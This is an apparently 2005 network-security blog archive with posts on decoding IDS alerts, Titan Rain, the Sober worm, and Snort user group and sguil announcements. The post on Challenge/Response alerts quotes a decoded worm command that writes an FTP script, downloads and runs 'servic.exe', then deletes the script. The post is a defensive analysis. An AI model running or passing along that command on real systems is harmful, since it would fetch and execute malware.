Thursday, December 22, 2005

Decoding JavaScript document.write() alerts

I got some good feedback on my previous post about decoding HTTP challenge/response alerts, so I thought I'd try again. This time, the topic is decoding JavaScript document.write() alerts.

JavaScript includes a method for a script to modify the current web page (the "document"). The document.write() function call is used to add new content to the page, and this can also add new JavaScript code to be executed. This is a common obfuscation technique, often intended to make it more difficult for analysts or NIDS systems to detect qustionable content.

Here's an example to show what this looks like in the real world:


Notice the "String.fromCharCode()" function. That's the key to deciphering this. Each of the numbers in the list is just the decimal ASCII code of the corresponding character in the script that this is intended to create.

Once you realize how this works, reconstructing the script itself is trivial. I usually use the following perl command line, then cut and paste just the ASCII list into its standard input, like so (my input is in bold):

% perl -e 'while(<>) { @list = split /,/; grep {print chr($_);} @list; }'

I've omitted the actual output here, since it would be JavaScript and I don't want to load the code into your browser by accident, but feel free to try this on your own and see what JavaScript nuggets you can dig up.

Thursday, December 15, 2005

China refutes hacking charges

I mentioned Titan Rain several months ago, but it's back in the press again, mostly because Allan Paller is using it to flog the new SANS Technology Institute.

No matter. It's news again, and this time China is coming out with a stunning defense. From The Standard:

"We have clear stipulations against hacking. No one can use the Internet to engage in illegal activities," foreign ministry spokesman Qin Gang told a regular briefing Tuesday.

"The Chinese police will deal with hacking and other activities disturbing social order in accordance with law."

I also enjoyed this quote:

"I'm not sure about the American accusations," Qin said.

"If they have proof, they should tell us."

Now, I'm not saying that I think the Chinese government is sponsoring this. I'm also not saying that I think they're innocent. The fact is, we don't know. Despite Paller's ludicrous assertion that these attacks could only have been executed by a military organization, the fact is that their origin is still a mystery, at least in the open press.

So what is my point? Simply that, while we don't know for sure, I do find it very plausible that the Chinese government is behind these attacks, either directly or indirectly. China has a long history of espionage. There's a very thorough book, The Tao of Spycraft: Intelligence Theory and Practice in Traditional China that documents this in detail.

Denials count for nothing. If the Chinese government wants us to believe they're not behind the attacks, they should help us investigate and find the attackers. Until that happens, we have to assume that China could in fact be behind the attacks.

Wednesday, December 14, 2005

January HRSUG Meeting Announcement

The January meeting of the Hampton Roads Snort Users Group (HRSUG) will be held on Wednesday, January 11th at 7:00PM. This will be an important meeting, since we will open the nominations for the positions of Chair and Vice Chair.

As for a technical presentation, I will be demoing sguil, an open source Network Security Monitoring (NSM) tool. Sguil incorporates NIDS information (snort), network session data and packet logging into a single analyst console/research tool. I'll be showing how sguil can help you save time, save money and improve your detection program at the same time.

Location details are below. We had a good turnout for the last meeting, and I hope this one will be even better. See you there!

Date: 11 Jan 2006
Time: 7:00PM
Place: Williamsburg Regional Library
515 Scotland Street
Williamsburg, VA
(757) 259-4040
Meeting room B

Saturday, December 10, 2005

Some InstantNSM love

Thanks to my friend and fellow sguil user Geek00L for showing some love to my Network Security Monitoring project, InstantNSM. It's my attempt to make sguil easier to deploy. If you've been scared off by the complexity of NSM, check it out and let me know what you think.

Friday, December 09, 2005

Sguil 0.6.0p1 Released

Ok, it turns out there was a fairly serious "crash-the-server" bug in the 0.6.0 release. If you're using that, you should probably upgrade to 0.6.0p1 immediately.

Thursday, December 08, 2005

Decoding "Challenge/Response Authentication" alerts

If you're using Snort for IDS operations and have downloaded the BLEEDING-EDGE rules, you've probably noticed a lot of alerts called "BLEEDING-EDGE VIRUS HTTP Challenge/Response Authentication". This type of alert may seem quite mysterious, but in reality, this is most likely worm traffic (see the ISC Handler's Diary entry on the subject).

If you look at an ASCII transcript of the traffic (thanks, sguil!), you'll see something like the following:

GET / HTTP/1.0
Authorization: Negotiate IQegYGKwYBBQUCoIIQbjCCE[...]

So what is this traffic? Well, IIS allows a client to negotiate the type of HTTP authentication scheme, which is the purpose of the "Authorization: Negotiate" line (more info on this capability can be found here and here). Unfortunately, there is a buffer overflow in some versions of this facility, which could allow the remote execution of arbitrary code. That's what all that extra junk at the end of the request is.

The overflow is encoded in Base64 (as per the Negotiate protocol). Want to unencode it and see what's there? Easy! On my Linux box, I used the following Perl command to set up a simple decoder, then cut-and-pasted the ASCII text into the window.

perl -e 'use MIME::Base64; $line = <>; chomp($line); $out = decode_base64($line);print "\n\n$out\n";' | & less

What you'll see is a bunch of junk, mostly buffer padding and shellcode, but with some plaintext commands visible in the middle. The exact commands vary a bit depending on exactly what code is attacking you, but they usually look similar to this:

cmd /k echo open 15801 > o&
echo user 1 1 >> o &echo get servic.exe >> o &
echo quit >> o &ftp -n -s:o &del /F /Q o &

See what that does? It creates an FTP script to log in to a remote host and fetch a file. Then it runs FTP with that script to actually download the infection code, and runs it. It's even sharp enough to delete the temporary FTP script.

One interesting thing to note is that it seems to use the attacking host's IP address, which in this case was probably behind some sort of NAT firewall, so this would have failed to spread the infection even if we had been vulnerable.

Anyway, now you know.

Sober worm pulls an interesting trick...

Check out this article from F-Secure's blog. According to it, Sober.Y has an ingenious method for "calling home" to download updates that resists efforts to block or shut down the URLs it uses.

According to the article, the worm tries to download its updates from URLs which are calculated in part based on the date. The actual URLs themselves aren't registered, but when the owner of the worm wants to send out an update, he simply calculates the day's URL, registers it, and places his content there for download.

It's a bit harder to shut things down if they don't exist yet, but fortunately the F-Secure guys reverse engineered the algorithm, which lets them predict the URLs too. They were apparently the ones who tipped off the German police, who in turn issued a statement last month on the subject.

Neat idea on the part of the author, but now that the algorithm is known, I guess it won't do him as
much good as he had hoped.

Wednesday, December 07, 2005

The other gift that keeps on giving

That's the gift of security, of course. Why not take a tip from this Computerworld column and choose Christmas gifts that promote good security practices as well?

If you were writing this list, what you would you include?

Tuesday, December 06, 2005

December HRSUG Meeting Report

As both of you who read my blog know, last Thursday was the December HRSUG meeting. Jason Brvenik and Jennifer Steffens from Sourcefire attended our inaugural meeting, as did several members of the local security community.

We started out by discussing some organizational matters, and found that everyone was interested in meething on a monthly basis. Until people get to know each other at least a little bit, we've decided to defer electing officers. Nominations will be taken at the January meeting, with an election to be held in February. In the meantine, we can use the mailing list to introduce ourselves.

With introductions and administrative matters out of the way, Jason gave a talk about the advantages of target-based IDS. The idea is that the more you know about your network, the better you can protect it. In the IDS world, this means that you can provide more accurate detection and perhaps boost performance by telling Snort more about the targets (hosts) on your network. Jason discussed the upcoming snort configuration language changes as well as some neat new realtime updating capabilities for loading new configuration into a running snort process. Expect to see these new features rolled out in stages between now and 2007.

Our presentation was followed by an optional "offsite networking event" which was also quite successful.

In short, I think a good time was had by all. Thanks for everyone who showed up, and I'm looking forward to an even better meeting for January! Stay tuned!

Thursday, December 01, 2005

Sguil 0.6.0 released!

Sguil is the de facto reference implementation for Network Security Monitoring (NSM). Sguil 0.6.0 was released today!

Tired of not having the data necessary to properly follow up on your IDS alerts? Give sguil a try. It integrates alerts (via Snort), network session data and full packet logging into a single easy-to-use analyst console.

For more information about sguil, see my presentation on the subject. Also check out my related project, InstantNSM.